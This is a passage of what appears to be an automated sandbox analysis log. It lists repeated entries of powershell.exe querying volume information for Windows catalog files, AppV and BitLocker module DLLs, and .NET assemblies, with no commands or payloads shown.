Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
